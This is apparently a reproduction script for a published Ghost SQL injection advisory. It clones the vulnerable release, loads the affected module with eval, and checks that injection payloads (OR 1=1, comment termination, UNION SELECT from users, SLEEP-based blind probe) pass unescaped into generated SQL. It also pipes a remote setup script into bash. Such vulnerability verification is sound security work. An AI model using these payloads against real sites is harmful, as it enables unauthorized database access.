#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "=========================================="
echo "GHSA-w52v-v783-gw97: Ghost SQL Injection"
echo "=========================================="
echo ""
echo "This script reproduces a SQL injection vulnerability in Ghost's"
echo "Content API slug filter ordering functionality."
echo ""

# Check Node.js is available
if ! command -v node &> /dev/null; then
    echo "[INFO] Node.js not found, installing..."
    curl -fsSL https://deb.nodesource.com/setup_18.x | bash - &>/dev/null
    apt-get install -y nodejs &>/dev/null
fi

NODE_VERSION=$(node --version)
echo "[INFO] Using Node.js $NODE_VERSION"
echo ""

# Create test directory
TEST_DIR="$ROOT/ghost-test"
mkdir -p "$TEST_DIR"

# Clone vulnerable Ghost version if not already present
if [ ! -d "$TEST_DIR/ghost-vulnerable" ]; then
    echo "[INFO] Cloning Ghost v6.19.0 (vulnerable version)..."
    git clone --depth 1 --branch v6.19.0 https://github.com/TryGhost/Ghost.git "$TEST_DIR/ghost-vulnerable" 2>&1 | tail -5
    echo "[INFO] Clone complete"
    echo ""
fi

VULNERABLE_FILE="$TEST_DIR/ghost-vulnerable/ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js"

echo "[INFO] Analyzing vulnerable code..."
echo ""
echo "=== VULNERABLE CODE ==="
cat "$VULNERABLE_FILE"
echo ""
echo "======================="
echo ""

# Create a Node.js test script
cat > "$TEST_DIR/test-sqli.js" << 'EOF'
// Test script to demonstrate SQL injection vulnerability

const path = require('path');
const fs = require('fs');

// Read and evaluate the vulnerable module
const vulnerableCode = fs.readFileSync(
    process.argv[2] || './ghost-vulnerable/ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js',
    'utf8'
);

// Create a mock module context and execute the vulnerable code
const slugFilterOrder = eval(vulnerableCode + '; slugFilterOrder');

console.log('Testing SQL Injection in slug-filter-order.js');
console.log('==============================================\n');

// Test 1: Normal input
console.log('Test 1: Normal slug filter');
const normalFilter = 'slug:[kitchen-sink,bacon,chorizo]';
const normalResult = slugFilterOrder('tags', normalFilter);
console.log('Input:', normalFilter);
console.log('Output:', normalResult);
console.log('');

// Test 2: SQL Injection - String termination + UNION SELECT
console.log('Test 2: SQL Injection payload (string termination)');
const sqliFilter1 = "slug:[' OR '1'='1]";
try {
    const sqliResult1 = slugFilterOrder('tags', sqliFilter1);
    console.log('Input:', sqliFilter1);
    console.log('Output:', sqliResult1);
    
    // Check if the output contains injected SQL
    if (sqliResult1 && sqliResult1.includes("' OR '1'='1")) {
        console.log('⚠️  VULNERABILITY CONFIRMED: Unsanitized user input in SQL!');
        console.log('    The payload was directly interpolated into the SQL string.');
    }
} catch (e) {
    console.log('Error:', e.message);
}
console.log('');

// Test 3: SQL Injection - Comment injection
console.log('Test 3: SQL Injection payload (comment injection)');
const sqliFilter2 = "slug:[test'--]";
try {
    const sqliResult2 = slugFilterOrder('tags', sqliFilter2);
    console.log('Input:', sqliFilter2);
    console.log('Output:', sqliResult2);
    
    if (sqliResult2 && sqliResult2.includes("'--")) {
        console.log('⚠️  VULNERABILITY CONFIRMED: SQL comment injection possible!');
    }
} catch (e) {
    console.log('Error:', e.message);
}
console.log('');

// Test 4: SQL Injection - Union-based
console.log('Test 4: SQL Injection payload (UNION-based)');
const sqliFilter3 = "slug:[test' UNION SELECT * FROM users--]";
try {
    const sqliResult3 = slugFilterOrder('tags', sqliFilter3);
    console.log('Input:', sqliFilter3);
    console.log('Output:', sqliResult3);
    
    if (sqliResult3 && (sqliResult3.includes('UNION') || sqliResult3.includes('SELECT'))) {
        console.log('⚠️  VULNERABILITY CONFIRMED: UNION-based SQL injection possible!');
    }
} catch (e) {
    console.log('Error:', e.message);
}
console.log('');

// Test 5: SQL Injection - Time-based (for blind detection)
console.log('Test 5: SQL Injection payload (time-based/blind)');
const sqliFilter4 = "slug:[test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--]";
try {
    const sqliResult4 = slugFilterOrder('tags', sqliFilter4);
    console.log('Input:', sqliFilter4);
    console.log('Output:', sqliResult4);
    
    if (sqliResult4 && sqliResult4.includes('SLEEP')) {
        console.log('⚠️  VULNERABILITY CONFIRMED: Time-based SQL injection possible!');
    }
} catch (e) {
    console.log('Error:', e.message);
}
console.log('');

// Summary
console.log('==============================================');
console.log('SUMMARY:');
console.log('The vulnerable code directly interpolates user input into SQL:');
console.log('  order += \`WHEN \`${table}\`.\`slug\` = \'${slug}\' THEN \${index} \`;');
console.log('');
console.log('This allows attackers to inject arbitrary SQL via the slug filter.');
console.log('The fix uses parameterized queries with ? placeholders.');
console.log('==============================================');

// Exit with appropriate code
let vulnerable = false;
const testResult1 = slugFilterOrder('tags', "slug:[' OR '1'='1]");
if (testResult1 && testResult1.includes("' OR '1'='1")) {
    vulnerable = true;
}

if (vulnerable) {
    console.log('\n✅ VULNERABILITY CONFIRMED');
    process.exit(0);
} else {
    console.log('\n❌ Vulnerability not detected (may be patched)');
    process.exit(1);
}
EOF

echo "[INFO] Running SQL injection tests..."
echo ""
node "$TEST_DIR/test-sqli.js" "$VULNERABLE_FILE" 2>&1 | tee "$LOGS/repro-output.log"
EXIT_CODE=${PIPESTATUS[0]}

echo ""
echo "=========================================="
if [ $EXIT_CODE -eq 0 ]; then
    echo "✅ REPRODUCTION SUCCESSFUL"
    echo "=========================================="
    echo "The SQL injection vulnerability was confirmed."
    echo "Log saved to: $LOGS/repro-output.log"
    exit 0
else
    echo "❌ REPRODUCTION FAILED"
    echo "=========================================="
    echo "Could not confirm the vulnerability."
    exit 1
fi
